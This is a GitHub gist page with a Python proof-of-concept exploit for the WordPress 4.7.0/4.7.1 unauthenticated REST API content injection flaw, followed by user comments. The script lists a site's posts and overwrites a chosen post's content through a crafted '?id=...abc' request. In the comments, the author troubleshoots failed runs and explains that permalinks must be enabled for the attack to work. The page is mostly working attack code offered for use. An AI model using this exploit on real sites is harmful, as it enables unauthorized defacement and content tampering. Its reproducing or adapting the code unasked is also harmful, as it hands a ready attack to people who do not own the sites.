Create a gist now

Instantly share code, notes, and snippets.

@leonjza /inject.py
Last active Mar 21, 2017

Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# Update post with content from a file:
#
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!
import json
import sys
import urllib2
from lxml import etree
def get_api_url(wordpress_url):
response = urllib2.urlopen(wordpress_url)
data = etree.HTML(response.read())
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
# check if we have permalinks
if 'rest_route' in u:
print(' ! Warning, looks like permalinks are not enabled. This might not work!')
return u
def get_posts(api_base):
respone = urllib2.urlopen(api_base + 'wp/v2/posts')
posts = json.loads(respone.read())
for post in posts:
print(' - Post ID: {0}, Title: {1}, Url: {2}'
.format(post['id'], post['title']['rendered'], post['link']))
def update_post(api_base, post_id, post_content):
# more than just the content field can be updated. see the api docs here:
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
data = json.dumps({
'content': post_content
})
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
response = urllib2.urlopen(req).read()
print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
def print_usage():
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
if __name__ == '__main__':
# ensure we have at least a url
if len(sys.argv) < 2:
print_usage()
sys.exit(1)
# if we have a post id, we need content too
if 2 < len(sys.argv) < 4:
print('Please provide a file with post content with a post id')
print_usage()
sys.exit(1)
print('* Discovering API Endpoint')
api_url = get_api_url(sys.argv[1])
print('* API lives at: {0}'.format(api_url))
# if we only have a url, show the posts we have have
if len(sys.argv) < 3:
print('* Getting available posts')
get_posts(api_url)
sys.exit(0)
# if we get here, we have what we need to update a post!
print('* Updating post {0}'.format(sys.argv[2]))
with open(sys.argv[3], 'r') as content:
new_content = content.readlines()
update_post(api_url, sys.argv[2], ''.join(new_content))
print('* Update complete!')
@swaggerz500

Hi

How do i use this script?

@swaggerz500

Can i use this on windiws

@salacoste

Leonjza, what the reason get
File "/System/***lib/python2.7/urllib2.py", line 558, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 404: Not Found

but in clear request to wp-json/wp/v2/posts/1?id=598t..... get 403 error..

@reyvand
reyvand commented Feb 3, 2017

i got this error when i try to test on localhost

urllib2.HTTPError: HTTP Error 400: Bad Request

@oddyIT
oddyIT commented Feb 3, 2017

File "inject.py", line 100, in
api_url = get_api_url(sys.argv[1])
File "inject.py", line 47, in get_api_url
response = urllib2.urlopen(wordpress_url)
File "/usr/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/usr/lib/python2.7/urllib2.py", line 429, in open
response = self._open(req, data)
File "/usr/lib/python2.7/urllib2.py", line 447, in _open
'_open', req)
File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
result = func(*args)
File "/usr/lib/python2.7/urllib2.py", line 1228, in http_open
return self.do_open(httplib.HTTPConnection, req)
File "/usr/lib/python2.7/urllib2.py", line 1198, in do_open
raise URLError(err)
urllib2.URLError: <urlopen error [Errno 111] Connection refused>

test on ubuntu 16.04

@Lucifaer
Lucifaer commented Feb 3, 2017

Same problem with others:

Traceback (most recent call last):
File "41223.py", line 115, in
update_post(api_url, sys.argv[2], ''.join(new_content))
File "41223.py", line 77, in update_post
response = urllib2.urlopen(req).read()
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 435, in open
response = meth(req, response)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 548, in http_response
'http', request, response, code, msg, hdrs)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 473, in error
return self._call_chain(*args)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 407, in _call_chain
result = func(*args)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 556, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 400: Bad Request

@Lucifaer
Lucifaer commented Feb 3, 2017

I‘ve solve the problem by setting apache2.conf:

LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted

Wish to help

@leonjza
Owner
leonjza commented Feb 3, 2017

@swaggerz500 I have not tested this on Windows no.
@oddyIT looks like the script cant talk to the wordpress site. Hint: Connection refused ;)

Everyone else getting 400 like errors. Permalinks need to be enabled for this to work. If the API resolved to a URL with rest_route in it, permalinks are not configured. The exploit _ heavily relies_ on the way Wordpress handles urls like these.

@salacoste

@leonjza If not enabled (as i understand they not enabled by default,not?), could construct jquery without permalink?

@leonjza
Owner
leonjza commented Feb 3, 2017

@salacoste, from my testing, I don't think the bug will be exploitable without permalinks. Of course, if I am wrong, I am more than happy to update the PoC to cater for another case.

@cloudavicii
cloudavicii commented Feb 3, 2017 edited

same foul :(

@Ahmedhaseeb

hi @leonjza i tested it at my localhost on windows 7 64bit, under WAMP and url_rewrite enabled and it works fine and changed the post content.

But it only work once... :(

This is output when it works..

E:\Python Projects>wp.py http://localhost/wp7_test

E:\Python Projects>wp.py http://localhost/wp7_test 1 abc.txt

========= Now its giving me the following error ===========

E:\Python Projects>wp.py http://localhost/wp7_test 1 abc.txt

  • Discovering API Endpoint

  • API lives at: http://localhost/wp7_test/wp-json/

  • Updating post 1
    Traceback (most recent call last):
    File "E:\Python Projects\wp.py", line 77, in
    update_post(api_url, sys.argv[2], ''.join(new_content))
    File "E:\Python Projects\wp.py", line 39, in update_post
    response = urllib2.urlopen(req).read()
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 435, in open
    response = meth(req, response)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 548, in http_response
    'http', request, response, code, msg, hdrs)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 473, in error
    return self._call_chain(*args)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 407, in _call_chain
    result = func(*args)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 556, in http_error_default

    raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
    urllib2.HTTPError: HTTP Error 400: Bad Request

@leonjza
Owner
leonjza commented Feb 3, 2017

@Ahmedhaseeb will have to check out your webservers logs to see if there are more details about the error I think.

@swaggerz500

How do you find post id of the link? What perma link does it havw to be?

@leonjza
Owner
leonjza commented Feb 4, 2017

@swaggerz500 run the script with only the url as argument, and it will print posts and id's for you. just like the example usage comment shows

@sunbyte
sunbyte commented Feb 8, 2017

Sorry my friend, but this "exploit" is total crap!
Such a mess between python2 and python3 code.
I still wonder how is possible to write such a bad script with powerful language like Python...
This exploit will NEVER work on any OS without tons of modifications.

@leonjza
Owner
leonjza commented Feb 8, 2017

@sunbyte thanks for your constructive feedback!

@unixfox
unixfox commented Feb 8, 2017

I'm getting IndexError: list index out of range on my local non-patched wordpress blog:

* Discovering API Endpoint
Traceback (most recent call last):
  File "wordpress.py", line 100, in <module>
    api_url = get_api_url(sys.argv[1])
  File "wordpress.py", line 50, in get_api_url
    u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
IndexError: list index out of range

Where does this error come from?

@leonjza
Owner
leonjza commented Feb 8, 2017 edited

@unixfox That means it couldnt parse the API URL from the URI you specified. The script checks for a link tag with a rel of api.w.org. You could view the source of the wordpress page and check if its there and update the script if its somewhere else.

@Rivendall

Hello @leonjza. Thank you.
I tested it at my localhost on windows 7 32bit, under XAMPP for WP 4.7.1.
But I had error:

C:\Python>inject.py http://localhost/cms/wp7test/

Then:

C:\Python>inject.py http://localhost/cms/wp7test/ 1 abc.txt

  • Discovering API Endpoint
  • API lives at: http://localhost/cms/wp7test/wp-json/
  • Updating post 1
    Traceback (most recent call last):
    File "C:\Python\inject.py", line 102, in
    update_post(api_url, sys.argv[2], ''.join(new_content))
    File "C:\Python\inject.py", line 66, in update_post
    response = urllib2.urlopen(req).read()
    File "C:\Python\lib\urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
    File "C:\Python\lib\urllib2.py", line 437, in open
    response = meth(req, response)
    File "C:\Python\lib\urllib2.py", line 550, in http_response
    'http', request, response, code, msg, hdrs)
    File "C:\Python\lib\urllib2.py", line 475, in error
    return self._call_chain(*args)
    File "C:\Python\lib\urllib2.py", line 409, in _call_chain
    result = func(*args)
    File "C:\Python\lib\urllib2.py", line 558, in http_error_default
    raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
    urllib2.HTTPError: HTTP Error 400: Bad Request

Please help me. Thank you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment